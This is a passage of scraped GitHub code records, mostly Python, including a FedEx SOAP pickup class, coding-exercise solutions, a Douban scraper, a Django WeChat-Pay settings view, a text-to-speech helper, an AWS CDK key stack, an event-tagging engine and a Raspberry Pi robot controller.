super().__init__(\n            {\n                \"UseAccountAddress\": False,\n                \"PickupLocation\": ContactAndAddress(\n                    party_details=gobox_request[\"origin\"]\n                ).data,\n                \"ReadyTimestamp\": ready_time,\n                \"CompanyCloseTime\": close_time.time(),\n                \"PackageLocation\": \"NONE\",\n            },\n            optional_keys=self._optional_keys,\n        )\n","repo_name":"JimRh/ubbereview","sub_path":"api/apis/carriers/fedex/soap_objects/pickup/pickup_origin_detail.py","file_name":"pickup_origin_detail.py","file_ext":"py","file_size_in_byte":1997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"74794724534","text":"\n# Contributed by Paraj Shah\n# https://github.com/parajshah\n\n#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'getTotalX' function below.\n#\n# The function is expected to return an INTEGER.\n# The function accepts following parameters:\n#  1. INTEGER_ARRAY a\n#  2. INTEGER_ARRAY b\n#\n\ndef getTotalX(a, b):\n    # Write your code here\n    x = max(a)\n    count = 0\n    y = min(b)\n    \n    for i in range(x,y+1):\n        for j in range(len(a)):\n            # Check if number is multiple of all elements in array a\n            if not i % a[j] == 0:\n                break\n            # If YES..\n            if j == len(a) - 1:\n                # Check if number is factor of all elements in array b\n                for k in range(len(b)):\n                    if not b[k] % i == 0:\n                        break\n                    # If YES..\n                    if k == len(b) - 1:\n                        count += 1       \n    return count\n\nif __name__ == '__main__':\n    fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n    first_multiple_input = input().rstrip().split()\n\n    n = int(first_multiple_input[0])\n\n    m = int(first_multiple_input[1])\n\n    arr = list(map(int, input().rstrip().split()))\n\n    brr = list(map(int, input().rstrip().split()))\n\n    total = getTotalX(arr, brr)\n\n    fptr.write(str(total) + '\\n')\n\n    fptr.close()\n","repo_name":"AkashSingh3031/The-Complete-FAANG-Preparation","sub_path":"1]. DSA + CP/2]. Competitive Programming/10]. HackerRank/1]. Prepare/1]. Prepare By Topics/08]. Problem Solving/Algorithms/02]. Implementation/Python/_08) Between Two Sets.py","file_name":"_08) Between Two Sets.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","stars":9607,"dataset":"github-code","pt":"22"}
+{"seq_id":"6955210689","text":"#divide and conquer solution for max subarray\r\n#Written by Will Thomas\r\n\r\nimport time\r\nimport os\r\nimport csv\r\nimport sys\r\n\r\n# Used for algorithm #3, returns larges sum found between two arrays\r\ndef maxMiddleSum(array, low, mid, high):\r\n\r\n  # Calculate max subarray on left side of current array\r\n  sum = 0\r\n  leftSum = 0\r\n  for i in range(mid, low-1, -1):\r\n    sum += array[i]\r\n    if sum > leftSum:\r\n      leftSum = sum\r\n\r\n  # Calculate max subarray on right side of the current array\r\n  sum = 0\r\n  rightSum = 0\r\n  for i in range(mid+1, high+1, 1):\r\n    sum += array[i]\r\n    if sum > rightSum:\r\n      rightSum = sum\r\n\r\n  return (leftSum + rightSum)\r\n\r\n# Used for algorithm #3, returns maxSubArray sum\r\ndef maxSubArray(array, low, high):\r\n  # BASE CASE\r\n  if low == high:\r\n    return array[low]\r\n  mid = (low + high) / 2\r\n\r\n  # Return the maximum of left sum, right sum, and combined(middle) sum\r\n  return max(maxSubArray(array, low, mid), maxSubArray(array, mid+1, high),\r\n      (maxMiddleSum(array, low, mid, high)))\r\n\r\ndef main():\r\n     \r\n     # rfname = \"MSS_TestProblems.txt\"\r\n     rfname = \"MSS_TestProblems-1.txt\"\r\n     wfname = \"MSS_Results.txt\"\r\n\r\n     # Check to see if file exists\r\n     fileCheck = os.path.isfile(rfname)\r\n     if (fileCheck == False):\r\n          print(\"ERROR: \" + rfname + \" not found.\")\r\n          return 1\r\n\r\n     print(\"Program running\")\r\n\r\n     # Create \r\n     with open(wfname, 'wt') as resultFile:  \r\n\r\n          # Open the file and read each line by line\r\n          with open(rfname, 'rt') as fileArr:\r\n          # print (\"File opened\")\r\n               fStream = csv.reader(fileArr)\r\n               for row in fStream:\r\n                    if (len(row) > 0): \r\n                         row[0] = row[0].replace('[', '')\r\n                         row[len(row) - 1] = row[len(row) - 1].replace(']', '')\r\n                    \r\n                         row = list(map(int, row))\r\n                         startTime = time.clock()\r\n                         result = maxSubArray(row, 0, len(row)-1)\r\n                         stopTime = time.clock()\r\n\r\n                         resultTime = stopTime - startTime\r\n                         \r\n                         print(\"Largest Result: \" + str(result))\r\n                         print(\"Running Time: \" + str(resultTime))\r\n\r\n                         resultFile.write(\"\\nMax sum: \" + str(result))\r\n\r\nmain()\r\n","repo_name":"gariepyt/cs325_project1","sub_path":"divide_conquer_example.py","file_name":"divide_conquer_example.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36428475449","text":"# -*- coding:utf-8 -*-\n# @Time : 2022/4/13 19:35\n# @Author: fbz\n# @File : douban25_test.py\n\n\nimport requests\nimport re\nimport csv\n\nurl = \"https://movie.douban.com/top250\"\nheaders = {\n    \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36\"\n}\n\nresponse = requests.get(url=url, headers=headers)\nhtml = response.text\n# print(html)\n\nobj = re.compile(r'<li>.*?<div class=\"item\">.*?<span class=\"title\">(?P<name>.*?)'\n                 r'</span>.*?<p class=\"\">.*?<br>(?P<year>.*?)&nbsp.*?'\n                 r'<span class=\"rating_num\" property=\"v:average\">(?P<score>.*?)</span>.*?'\n                 r'<span>(?P<num>.*?)人评价</span>', re.S)\n\nresult = obj.finditer(html)\nf = open(\"data.csv\",mode=\"w\",encoding=\"utf-8\")\nwriter = csv.writer(f)\n\nfor i in result:\n    # print(i.group(\"name\"))\n    # print(i.group(\"score\"))\n    # print(i.group(\"num\"))\n    # print(i.group(\"year\").strip())  # .strip()去掉空白\n    dict = i.groupdict()\n    dict[\"year\"] = dict[\"year\"].strip()\n    writer.writerow(dict.values())\n\nf.close()\nprint(\"over!\")\n","repo_name":"fbozhang/python","sub_path":"spider/re/douban25_test.py","file_name":"douban25_test.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"}
+{"seq_id":"12483338228","text":"from django.shortcuts import render\nfrom zhugeleida import models\nfrom publicFunc import Response\nfrom publicFunc import account\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt, csrf_protect\nfrom zhugeleida.forms.admin.shangchengshezhi_verify import jichushezhi, zhifupeizhi, yongjinshezhi\nimport json, zipfile, os, random, datetime, time, requests\nfrom zhugeleida.views_dir.xiaochengxu import prepaidManagement as yuzhifu\n\n\n# 商城基础查询\n@csrf_exempt\n@account.is_token(models.zgld_admin_userprofile)\ndef jiChuSheZhi(request):\n    response = Response.ResponseObj()\n    user_id = request.GET.get('user_id')\n    user_idObjs = models.zgld_admin_userprofile.objects.get(id=user_id)\n    # xiaochengxu = models.zgld_xiaochengxu_app.objects.filter(id=u_idObjs[0].company_id)\n    shezhi_obj = models.zgld_shangcheng_jichushezhi.objects.select_related('xiaochengxuApp__company').filter(xiaochengxuApp__company_id=user_idObjs.company_id)\n    user_id_mallStatus = models.zgld_company.objects.filter(id=user_idObjs.company_id)\n    mallStatus = user_id_mallStatus[0].get_shopping_type_display()\n    mallStatusID = user_id_mallStatus[0].shopping_type\n    otherData = []\n    for obj in shezhi_obj:\n        lunbotu = ''\n        if obj.lunbotu:\n            lunbotu = json.loads(obj.lunbotu)\n        xiaoChengXuCompanyName = ''\n        if obj.xiaochengxucompany:\n            xiaoChengXuCompanyName = obj.xiaochengxucompany.name\n        otherData.append({\n            'shangChengName': obj.shangChengName,\n            'shangHuHao': obj.shangHuHao,\n            'shangHuMiYao': obj.shangHuMiYao,\n            'lunbotu': lunbotu,\n            'yongjin': obj.yongjin,\n            'xiaochengxuApp': obj.xiaochengxuApp.name,\n            'xiaochengxuApp_id': obj.xiaochengxuApp_id,\n            'xiaochengxucompany_id': obj.xiaochengxucompany_id,\n            'xiaochengxucompany': xiaoChengXuCompanyName,\n            'zhengshu': obj.zhengshu,\n            'mallStatus':mallStatus,\n            'mallStatusID':mallStatusID,\n            'classify_position':obj.classify_position,\n            'classify_position_text':obj.get_classify_position_display(),\n        })\n\n    response.msg = '查询成功'\n    response.data = {'otherData':otherData}\n    response.code = 200\n    return JsonResponse(response.__dict__)\n\n\n#  商城基础操作\n@csrf_exempt\n@account.is_token(models.zgld_admin_userprofile)\ndef jiChuSheZhiOper(request, oper_type):\n    response = Response.ResponseObj()\n    user_id = request.GET.get('user_id')\n    u_idObjs = models.zgld_admin_userprofile.objects.get(id=user_id)\n    company_id = u_idObjs.company_id\n    userObjs = models.zgld_shangcheng_jichushezhi.objects.select_related(\n        'xiaochengxuApp__company'\n    ).filter(xiaochengxucompany_id=company_id)\n\n    base_path = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))))\n\n    if request.method == \"POST\":\n\n        # 商城基础设置 第一页基础设置\n        if oper_type == 'jichushezhi':\n            classify_position = request.POST.get('classify_position')\n\n            resultData = {\n                'classify_position': classify_position,\n                'mallStatus' : request.POST.get('mallStatus'),          # 是否打开 商城 1为产品 2为商城\n                'shangChengName' : request.POST.get('shangChengName'),\n                'lunbotu' : request.POST.get('lunbotu'),\n            }\n            forms_obj = jichushezhi(resultData)\n            if forms_obj.is_valid():\n                formObjs = forms_obj.cleaned_data\n                print('验证通过')\n                if userObjs:\n                    # 判断\n                    if int(resultData.get('mallStatus')) == 2:\n                        models.zgld_company.objects.filter(id=company_id).update(shopping_type=2)\n                    else:\n                        models.zgld_company.objects.filter(id=company_id).update(shopping_type=1)\n\n                    # 更新基础设置 轮播图和商城名称\n                    userObjs.update(\n                        classify_position=classify_position,\n                        shangChengName=formObjs.get('shangChengName'),\n                        lunbotu=formObjs.get('lunbotu')\n                    )\n                    response.msg = '修改成功'\n                    response.code = 200\n                    response.data = {}\n                else:\n                    response.code = 301\n                    response.msg = '未注册小程序'\n                    return JsonResponse(response.__dict__)\n            else:\n                response.code = 301\n                response.msg = '未通过'\n                response.data = json.loads(forms_obj.errors.as_json())\n\n        # 商城基础设置 第二页支付设置\n        elif oper_type == 'zhifupeizhi':\n            resultData = {\n                'shangHuHao': request.POST.get('shangHuHao'),\n                'shangHuMiYao': request.POST.get('shangHuMiYao'),\n                'zhengshu': request.POST.get('zhengshu'),\n            }\n            forms_obj = zhifupeizhi(resultData)\n            if forms_obj.is_valid():\n                formObjs = forms_obj.cleaned_data\n                zhengShuPath = formObjs.get('zhengshu')\n                shangHuMiYao = formObjs.get('shangHuMiYao')\n                shangHuHao = formObjs.get('shangHuHao') # 1516421881\n                if userObjs:\n                    try:\n                        print('---- shangHuHao ---->>',shangHuHao) # 1516421881\n\n\n                        shanghuzhengshupath =  base_path + '/' + zhengShuPath\n                        file_dir = os.path.join('statics', 'zhugeleida', 'imgs', 'admin','secretKeyFile') + '/' + shangHuHao\n                                              # statics/zhugeleida/imgs/admin/secretKeyFile/1543922970035.zip\n\n                        print('---- os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) ---->>', '\\n' ,os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))))\n                        #/data/www/zhugeApi\n                        print('---- shanghuzhengshupath ---->>', shanghuzhengshupath)\n                        # /data/www/zhugeApi/statics/zhugeleida/imgs/admin/secretKeyFile/1543924902964.zip\n\n                        file_zip = zipfile.ZipFile(shanghuzhengshupath, 'r')\n                        for file in file_zip.namelist():\n                            file_zip.extract(file, r'{}'.format(file_dir))\n\n                        file_zip.close()\n                        os.remove(zhengShuPath)\n                        print('---- os.remove(zhengShuPath) ---->>', zhengShuPath)  # statics/zhugeleida/imgs/admin/secretKeyFile/1543924902964.zip\n                        print('------ file_dir ------> ',file_dir)                  # statics/zhugeleida/imgs/admin/secretKeyFile/1516421881\n\n                        response.code = 200\n\n                    except Exception:\n                        response.code = 301\n                        response.msg = '请添加正确 微信证书压缩包'\n                        return JsonResponse(response.__dict__)\n\n                    # 生成预支付订单 判断商户KEY 和 商户号 是否正确\n                    xiaochengxu_app = models.zgld_gongzhonghao_app.objects.filter(\n                        company_id=company_id)  # 真实数据appid\n                    appid = xiaochengxu_app[0].authorization_appid\n                    ymdhms = time.strftime(\"%Y%m%d%H%M%S\", time.localtime())\n                    shijianchuoafter5 = str(int(time.time() * 1000))[8:]  # 时间戳 后五位\n                    dingdanhao = str(ymdhms) + shijianchuoafter5 + str(random.randint(10, 99))\n\n                    url = 'https://api.mch.weixin.qq.com/mmpaymkttransfers/sendredpack'  # 微信支付接口\n                    customer_objs = models.zgld_customer.objects.filter(user_type=1,company_id=company_id,openid__isnull=False)\n                    re_openid = ''\n                    if customer_objs:\n                        customer_obj = customer_objs[0]\n                        re_openid = customer_obj.openid\n\n                    result_data = {\n                        'scene_id' : 'PRODUCT_5', #   发放红包使用场景，红包金额大于200或者小于1元时必传\n                        'nonce_str': yuzhifu.generateRandomStamping(),  # 32位随机值a\n                        'mch_billno': dingdanhao,  # 订单号\n                        'mch_id': shangHuHao,      # 商户号\n                        'wxappid': appid,  # 真实数据appid\n                        're_openid': re_openid,  # 用户唯一标识\n                        'total_amount': 30,  # 付款金额 1:100 | 发送一分钱\n                        'client_ip': '192.168.1.1',  # 终端IP\n                        'total_num': 1,  # 红包发放总人数\n                        'send_name': '诸葛雷达_测试发红包',  # 商户名称 中文\n                        'act_name': '测试商户',  # 活动名称 32长度\n                        'remark': '测试备注信息',  # 备注信息 256长度\n                        'wishing': '测试红包祝福语',  # 红包祝福语 128长度\n                    }\n                    print('--------- result_data --------> ',result_data)\n                    SHANGHUKEY = formObjs.get('shangHuMiYao')    # 商户KEY\n                    stringSignTemp = yuzhifu.shengchengsign(result_data, SHANGHUKEY)\n                    result_data['sign'] = yuzhifu.md5(stringSignTemp).upper()\n                    xml_data = yuzhifu.toXml(result_data).encode('utf8')\n\n                    cret = base_path + \"/\" +  os.path.join(file_dir, 'apiclient_cert.pem')\n                    key =  base_path + \"/\" +  os.path.join(file_dir, 'apiclient_key.pem')\n                    print('--- cret -->>',cret) # statics/zhugeleida/imgs/admin/secretKeyFile/1516421881/apiclient_cert.pem\n                    print('--- key -->>',key)   # statics/zhugeleida/imgs/admin/secretKeyFile/1516421881/apiclient_key.pem\n\n                    ret = requests.post(url, data=xml_data, cert=(cret, key))\n                    print(ret.text)\n                    DOMTree = yuzhifu.xmldom.parseString(ret.text)\n                    collection = DOMTree.documentElement\n                    return_msg = collection.getElementsByTagName(\"return_msg\")[0].childNodes[0].data\n                    return_code = collection.getElementsByTagName(\"return_code\")[0].childNodes[0].data\n                    print('----- return_code --> ',return_code)\n\n                    if return_code == 'SUCCESS':  # 判断预支付返回参数 是否正确\n                        userObjs.update(\n                            shangHuHao=shangHuHao,\n                            shangHuMiYao=shangHuMiYao,\n                            zhengshu=file_dir\n                        )\n                        response.code = 200\n                        response.msg = '修改成功'\n                    else:\n                        return_code = collection.getElementsByTagName(\"return_msg\")[0].childNodes[0].data\n                        response.code = '%s' % (return_code)\n                        response.msg = '微信接口返回错误: {return_msg}'.format(return_msg=return_msg)\n\n                        return JsonResponse(response.__dict__)\n                else:\n                    response.code = 301\n                    response.msg = '未注册小程序'\n                    return JsonResponse(response.__dict__)\n            else:\n                response.code = 301\n                response.data = json.loads(forms_obj.errors.as_json())\n\n        # 商城基础设置 佣金配置\n        elif oper_type == 'yongjinshezhi':\n            resultData = {\n                'yongjin': request.POST.get('yongjin'),\n            }\n            forms_obj = yongjinshezhi(resultData)\n            if forms_obj.is_valid():\n                formObjs = forms_obj.cleaned_data\n                if userObjs:\n                    userObjs.update(\n                        yongjin=formObjs.get('yongjin')\n                    )\n                    response.msg = '���改成功'\n                    response.code = 200\n                    response.data = ''\n                else:\n                    response.code = 301\n                    response.msg = '未注册小程序'\n                # else:\n                #     models.zgld_shangcheng_jichushezhi.objects.create(\n                #         yongjin=formObjs.get('yongjin'),\n                #     )\n\n            else:\n                response.code = 301\n                response.data = json.loads(forms_obj.errors.as_json())\n\n\n    elif request.method == 'GET':\n\n        # 添加小程序ID\n        if oper_type == 'addSmallProgram':\n            xiaochengxuid = request.GET.get('xiaochengxuid')\n            response = Response.ResponseObj()\n            xiaochengxuObjs = models.zgld_xiaochengxu_app.objects.filter(id=xiaochengxuid)\n            if xiaochengxuObjs:\n                userObjs = models.zgld_shangcheng_jichushezhi.objects.filter(xiaochengxuApp_id=xiaochengxuid)\n                nowdate = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n\n                if not userObjs:\n                    models.zgld_shangcheng_jichushezhi.objects.create(\n                        xiaochengxuApp_id=xiaochengxuid,\n                        xiaochengxucompany_id=company_id,\n                        createDate=nowdate\n                    )\n                    response.code = 200\n                    response.msg = '添加成功'\n                else:\n                    response.code = 301\n                    response.msg = '该小程序已创建设置'\n\n        # 用于商户对已发放的红包进行查询红包的具体信息，可支持普通红包和裂变包。\n        elif oper_type == 'myself_query_fafang_info':\n            dingdanhao = request.GET.get('mch_billno')\n            company_id = request.GET.get('company_id')\n\n            # 生成预支付订单 判断商户KEY 和 商户号 是否正确\n            xiaochengxu_app = models.zgld_gongzhonghao_app.objects.filter(\n                company_id=company_id)  # 真实数据appid\n\n            jichushezhi_objs = models.zgld_shangcheng_jichushezhi.objects.filter(xiaochengxucompany_id=company_id)\n            shangHuMiYao = ''\n            shangHuHao = ''\n            file_dir = ''\n            if jichushezhi_objs:\n                jichushezhi_obj = jichushezhi_objs[0]\n                shangHuMiYao = jichushezhi_obj.shangHuMiYao\n                shangHuHao = jichushezhi_obj.shangHuHao\n                file_dir = jichushezhi_obj.zhengshu\n\n            appid = xiaochengxu_app[0].authorization_appid\n\n            url = 'https://api.mch.weixin.qq.com/mmpaymkttransfers/gethbinfo'  # 微信支付接口\n            # customer_objs = models.zgld_customer.objects.filter(user_type=1, company_id=company_id,\n            #                                                     openid__isnull=False)\n            # re_openid = ''\n            # if customer_objs:\n            #     customer_obj = customer_objs[0]\n            #     re_openid = customer_obj.openid\n\n            result_data = {\n                # 'scene_id' : 'PRODUCT_1', #   发放红包使用场景，红包金额大于200或者小于1元时必传\n                'nonce_str': yuzhifu.generateRandomStamping(),  # 32位随机值a\n                'mch_billno': dingdanhao,  # 订单号\n                'mch_id': shangHuHao,  # 商户号\n\n                'appid': appid,  # 真实数据appid\n                'bill_type': 'MCHT',\n            }\n            print('--------- result_data --------> ', result_data)\n              # 商户KEY\n            stringSignTemp = yuzhifu.shengchengsign(result_data, shangHuMiYao)\n            result_data['sign'] = yuzhifu.md5(stringSignTemp).upper()\n            xml_data = yuzhifu.toXml(result_data).encode('utf8')\n\n            cret = base_path + \"/\" + os.path.join(file_dir, 'apiclient_cert.pem')\n            key = base_path + \"/\" + os.path.join(file_dir, 'apiclient_key.pem')\n            print('--- cret -->>', cret)  # statics/zhugeleida/imgs/admin/secretKeyFile/1516421881/apiclient_cert.pem\n            print('--- key -->>', key)  # statics/zhugeleida/imgs/admin/secretKeyFile/1516421881/apiclient_key.pem\n\n            ret = requests.post(url, data=xml_data, cert=(cret, key))\n            print(ret.text)\n            DOMTree = yuzhifu.xmldom.parseString(ret.text)\n            collection = DOMTree.documentElement\n            return_msg = collection.getElementsByTagName(\"return_msg\")[0].childNodes[0].data\n            return_code = collection.getElementsByTagName(\"return_code\")[0].childNodes[0].data\n            print('----- return_code --> ', return_code)\n\n            if return_code == 'SUCCESS':  # 判断预支付返回参数 是否正确\n                # userObjs.update(\n                #     shangHuHao=shangHuHao,\n                #     shangHuMiYao=shangHuMiYao,\n                #     zhengshu=file_dir\n                # )\n                response.code = 200\n                response.msg = 'chaxun 成功'\n            else:\n                return_code = collection.getElementsByTagName(\"return_msg\")[0].childNodes[0].data\n                response.code = '%s' % (return_code)\n                response.msg = '微信接口返回错误: {return_msg}'.format(return_msg=return_msg)\n                return JsonResponse(response.__dict__)\n\n\n    else:\n        response.code = 402\n        response.msg = \"请求异常\"\n    return JsonResponse(response.__dict__)\n","repo_name":"itcastpeng/zhugeApi","sub_path":"zhugeleida/views_dir/admin/shangchengjichushezhi.py","file_name":"shangchengjichushezhi.py","file_ext":"py","file_size_in_byte":17576,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"23111234933","text":"'''File that convert text to speech'''\nimport pyttsx3\nimport os\nfrom loguru import logger\n\ndef Speak(speak_text, voice_id = 'english', gender = None, rate = 130, volume = 1.0):  \n    '''Function to speak text'''\n    engine = pyttsx3.init()\n    path_to_file = f'/tmp/{voice_id}.mp3'\n    logger.debug(voice_id)\n    logger.debug(gender)\n    logger.debug(rate)\n    engine.setProperty('voice',voice_id)\n    engine.setProperty('rate', int(rate))\n    engine.setProperty('volume',volume)\n    engine.save_to_file(speak_text, path_to_file)\n    engine.runAndWait()\n    engine.stop()\n    \n    return path_to_file\n\n\nif __name__ == '__main__':\n    Speak('Animesh is a good boy')","repo_name":"Ani1111111/AI-voices-backend","sub_path":"speak.py","file_name":"speak.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"71374508857","text":"from aws_cdk import (\n    core as cdk,\n    aws_codebuild as codebuild,\n    aws_codecommit as codecommit,\n    aws_codepipeline as codepipeline,\n    aws_codepipeline_actions as codepipeline_actions,\n    aws_lambda as lambda_,\n    aws_s3 as s3,\n    aws_iam as iam,\n    aws_kms as kms,\n)\n\n\nclass PipelineInfraStack(cdk.Stack):\n    def __init__(\n        self,\n        scope: cdk.Construct,\n        id: str,\n        target_account_id: str,\n        repo_name: str,\n        repo_branch: str,\n        **kwargs\n    ) -> None:\n        super().__init__(scope, id, **kwargs)\n\n        pipeline_key = kms.Key(\n            self,\n            \"PipelineKey\",\n            description=\"CICD CMK shared with \" + target_account_id,\n            alias=\"cicd-\" + repo_name + \"-\" + repo_branch + \"-\" + target_account_id,\n            enable_key_rotation=False,\n            trust_account_identities=True,\n        )\n\n        # the target account needs to be able to use the key to decrypt the artifacts\n        pipeline_key.grant_decrypt(iam.AccountPrincipal(account_id=target_account_id))\n\n        cdk.CfnOutput(\n            self,\n            \"PipelineKeyArnOutput\",\n            value=pipeline_key.key_arn,\n            export_name=self.stack_name + \":PipelineKeyArn\",\n        )\n","repo_name":"guysqr/cross-account-codepipeline-cdk","sub_path":"stacks/pipeline_infra_stack.py","file_name":"pipeline_infra_stack.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"22"}
+{"seq_id":"22503437589","text":"from cengine import cengine\nfrom cstorage import get_storage\nfrom caccount import caccount\nfrom cselector import cselector\nimport cmfilter\nimport json\n\n\nclass engine(cengine):\n\tetype = 'tag'\n\n\tdef __init__(self, *args, **kargs):\n\t\tsuper(engine, self).__init__(*args, **kargs)\n\t\tself.nb_beat = 0\n\n\tdef pre_run(self):\n\t\tself.storage = get_storage(namespace='object', account=caccount(user=\"root\", group=\"root\"))\n\t\tself.reload_selectors()\n\t\tself.beat()\n\n\tdef reload_selectors(self):\n\n\t\t\"\"\"\n\t\tLoads selectors crecords to find out witch event in work method match selector.\n\t\tWhen an event match, selector name and dispay name fields are added to the event tag list\n\t\t\"\"\"\n\t\tself.selectors = []\n\t\tself.selByRk = {}\n\t\tselectors_json = self.storage.find({'crecord_type': 'selector', 'enable': True }, namespace=\"object\")\n\n\t\tfor selector_json in selectors_json:\n\t\t\tselector_dump = selector_json.dump()\n\t\t\t# add selector name to tag when\n\t\t\tif 'rk' in selector_dump:\n\t\t\t\t## Extract ids resolved by selectors\n\t\t\t\tsel = selector_dump.get('crecord_name')\n\t\t\t\tids = selector_dump.get('ids', [])\n\n\t\t\t\tif isinstance(ids, list):\n\t\t\t\t\tfor rk in ids:\n\t\t\t\t\t\tif rk in self.selByRk:\n\t\t\t\t\t\t\tself.selByRk[rk].append(sel)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tself.selByRk[rk] = [sel]\n\n\n\t\t\t# Put selector witch can tag event in cache\n\t\t\tif 'dostate' in selector_dump and selector_dump['dostate']:\n\n\t\t\t\tselector = cselector(storage=self.storage, record=selector_json, logging_level=self.logging_level)\n\n\t\t\t\t# tag field is defined here only\n\t\t\t\tselector.tags = []\n\n\t\t\t\tfor selector_tag in ['crecord_name', 'display_name']:\n\t\t\t\t\tif  selector_tag in selector_dump and selector_dump[selector_tag]:\n\t\t\t\t\t\tselector.tags.append(selector_dump[selector_tag])\n\t\t\t\tself.selectors.append(selector)\n\n\n\t\tself.logger.debug('Reloaded %s selectors' % (len(self.selectors)))\n\n\n\tdef add_tag(self, event, field=None, value=None):\n\t\t\"\"\"\n\t\tAdds a tag to event depending on values\n\t\t\"\"\"\n\n\t\tif not value and not field:\n\t\t\treturn event\n\n\t\tif not value and field:\n\t\t\tvalue = event.get(field, None)\n\n\t\tif value and value not in event['tags']:\n\t\t\tevent['tags'].append(value)\n\n\t\treturn event\n\n\tdef work(self, event, *args, **kargs):\n\n\t\t\"\"\"\n\t\tEach event comming to tag work method is beeing tagged with many informations.\n\t\tThose tags aim to display tags into UI to enhence information search.\n\t\t\"\"\"\n\n\t\tevent['tags'] = event.get('tags', [])\n\n\t\tevent = self.add_tag(event, 'connector_name')\n\t\tevent = self.add_tag(event, 'event_type')\n\t\tevent = self.add_tag(event, 'source_type')\n\t\tevent = self.add_tag(event, 'component')\n\t\tevent = self.add_tag(event, 'resource')\n\n\t\t# Adds tag to event if selector crecord matches current event.\n\t\tself.logger.debug('Will process selector tag on event %s ' % (event['rk']))\n\n\t\tfor selector in self.selectors:\n\n\t\t\tadd_tag = False\n\t\t\tcfilter = False\n\t\t\tself.logger.debug('Filter %s: type %s' % (selector.mfilter, type(selector.mfilter)) )\n\t\t\tif selector.mfilter:\n\t\t\t\tcfilter = cmfilter.check(selector.mfilter, event)\n\n\t\t\tif 'rk' in event:\n\t\t\t\tif event['rk'] not in selector.exclude_ids and (event['rk'] in selector.include_ids or cfilter):\n\t\t\t\t\tadd_tag = True\n\t\t\telif cfilter:\n\t\t\t\tadd_tag = True\n\n\t\t\tif add_tag:\n\t\t\t\tself.logger.debug('Will write tag to event: %s' % (selector.tags))\n\t\t\t\tfor tag in selector.tags:\n\t\t\t\t\tif tag not in event['tags']:\n\t\t\t\t\t\tevent['tags'].append(tag)\n\n\t\t### Tag with dynamic tags\n\t\tsels = self.selByRk.get(event['rk'], [])\n\n\t\tfor sel in sels:\n\t\t\tevent = self.add_tag(event, value=sel)\n\n\t\treturn event\n\n\tdef beat(self):\n\n\t\t\"\"\"\n\t\tReload inforamtion allowing event tag in work method.\n\t\tselectors are implied in tag definition\n\t\t\"\"\"\n\n\t\tself.nb_beat += 1\n\n\t\tself.logger.debug('Refresh selector records cache for event tag by selector purposes.')\n\t\tself.reload_selectors()\n\n\n","repo_name":"mounamaster/canopsis","sub_path":"sources/amqp2engines/opt/amqp2engines/engines/tag.py","file_name":"tag.py","file_ext":"py","file_size_in_byte":3755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"}
+{"seq_id":"27564699406","text":"from multiprocessing import Process, Queue, Event\r\nfrom pathlib import Path\r\nimport time\r\nimport json\r\nimport pickle\r\nimport secrets\r\nfrom gpiozero import Robot\r\nimport os\r\nimport sys\r\n\r\nfrom cmd_server import run_server\r\nfrom logger import Logger\r\n\r\n\r\nclass RobotServer(Logger):\r\n    def __init__(self, notif_q):\r\n        try:\r\n            self.notif_q = notif_q\r\n            self.notif_p = Process(\r\n                target=run_server, args=[notif_q])\r\n            self.notif_p.start()\r\n        except Exception as e:\r\n            self.logger.exception(str(e))\r\n\r\n    def __del__(self):\r\n        self.notif_p.terminate()\r\n        self.notif_p.join()\r\n\r\n    def do_voice_cmd(self, cmd):\r\n        if \"straight\" in cmd:\r\n            self.robot.forward()\r\n        elif \"back\" in cmd:\r\n            self.robot.backward()\r\n        elif \"right\" in cmd:\r\n            self.robot.right()\r\n        elif \"left\" in cmd:\r\n            self.robot.left()\r\n        elif \"stop\" in cmd:\r\n            self.robot.stop()\r\n\r\n\r\n    def main_loop(self, sleep_time=0.05):\r\n        try:\r\n            self.robot = Robot(left=(4, 14), right=(17, 18))\r\n            while True:\r\n                if not self.notif_q.empty():\r\n                    item = json.loads(self.notif_q.get())\r\n                    self.logger.debug(f\"Notification Q:\\n{item}\")\r\n                    if item.get(\"type\") == \"voice\":\r\n                        self.do_voice_cmd(item.get(\"content\"))\r\n\r\n                time.sleep(sleep_time)\r\n        except KeyboardInterrupt:\r\n            exit(0)\r\n        except Exception as e:\r\n            self.logger.exception(str(e))\r\n\r\n\r\ndef application():\r\n    notif_q = Queue()\r\n    c = RobotServer(notif_q)\r\n    c.main_loop()\r\n\r\n\r\nif __name__ == '__main__':\r\n    application()\r\n","repo_name":"vitus133/rpi-toy","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
